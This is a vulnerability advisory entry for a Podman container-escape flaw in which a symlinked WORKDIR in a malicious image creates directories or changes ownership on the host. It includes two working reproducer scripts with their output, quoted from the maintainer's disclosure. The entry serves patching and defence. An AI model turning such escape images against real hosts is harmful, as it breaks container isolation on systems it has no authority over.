--- id: "CVE-2026-55686" kind: "vulnerability" aliases: ["CVE-2026-55686", "GHSA-q6r4-3wmg-fwcq"] title: "Podman: WORKDIR symlink traversal vulnerability" severity: "medium" cvss: 5.3 epss: 0.00403 exploited: false status: "open" category: "package" products: [{"name": "github.com/containers/podman/v5", "fixed": ["5.7.1"], "affected": "<= 5.7.0", "ecosystem": "go"}, {"name": "github.com/containers/podman/v4", "fixed": [], "affected": "<= 4.9.5", "ecosystem": "go"}, {"name": "github.com/containers/podman/v3", "fixed": [], "affected": "<= 3.4.7", "ecosystem": "go"}, {"name": "podman project podman", "fixed": ["5.7.1"], "affected": ">= 3.0.0, < 5.7.1", "ecosystem": "vendor"}] ecosystems: ["go", "vendor"] tags: ["containers", "cwe-59", "cwe-61", "fedora-coreos", "linux", "package", "podman"] not_affected_if: ["podman-5.7.1-or-later", "trusted-images-only"] published_at: "2026-06-18T14:28:26+00:00" first_seen_at: "2026-11-03T19:55:32+00:00" updated_at: "2026-11-03T20:49:27+00:00" sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-q6r4-3wmg-fwcq", "first_seen_at": "2026-11-03T19:55:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55686", "first_seen_at": "2026-11-03T20:49:27+00:00"}] --- # Podman: WORKDIR symlink traversal vulnerability A malicious container image can use a symlink in its WORKDIR path to make Podman create a directory on the host filesystem outside the container. A race with a process that changes the host tree can also modify ownership of host paths. _Summary, check and fix written by a model from the sources; labelled as such._ ## Affected - go:github.com/containers/podman/v5 affected <= 5.7.0 fixed 5.7.1 - go:github.com/containers/podman/v4 affected <= 4.9.5 fixed ? - go:github.com/containers/podman/v3 affected <= 3.4.7 fixed ? - vendor:podman project podman affected >= 3.0.0, < 5.7.1 fixed 5.7.1 ## How to check - Check the Podman version with `podman --version`; versions up to `5.7.0` are affected in the 5.x line. - Check the Go module version of podman in your build with `go list -m github.com/containers/podman/v5` if you embed it. - Look for `/var/BREAKOUT`-style directories created by container runs if you pull untrusted images (reproducer in the advisory). ## Fix - podman v5: `5.7.1` - podman v4 and v3: unknown ## Timeline - 2026-11-03T19:55:32+00:00 ghsa https://github.com/advisories/GHSA-q6r4-3wmg-fwcq - 2026-11-03T20:49:27+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-55686 ## Documents - [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/podman-container-tools/podman/security-advisories/GHSA-q6r4-3wmg-fwcq - [advisory] Maintainer's advisory: github.com https://github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq - [fix] Patch: github.com https://github.com/podman-container-tools/podman/commit/7ce2e00ab140c11a68301f0b161f51984131a858 - [fix] Patch: github.com https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0 ## From the sources ### Summary Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. ### Patch https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0 ### Details This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858) ### PoC The reproducer script _test1.bash_ demonstrates the vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/var/BREAKOUT` as current working directory. The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/usr/local` as current working directory. The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory. Reproducer **test1.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Reproducer **test2.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakout_dirname=/var ARG breakout_basename=BREAKOUT ARG produce_pwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakout_dirname} && \ cd /0/1/symlink2/${breakout_dirname} && \ ln -s ${produce_pwd} ${breakout_basename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Vulnerable: podman 5.7.0 using Fedora CoreOS 43.20251120.3.0 ``` root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT ``` Not vulnerable: podman 5.7.1 using Fedora CoreOS 43.20260119.1.1 ``` root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory ``` ### Credits We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us. --- _Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_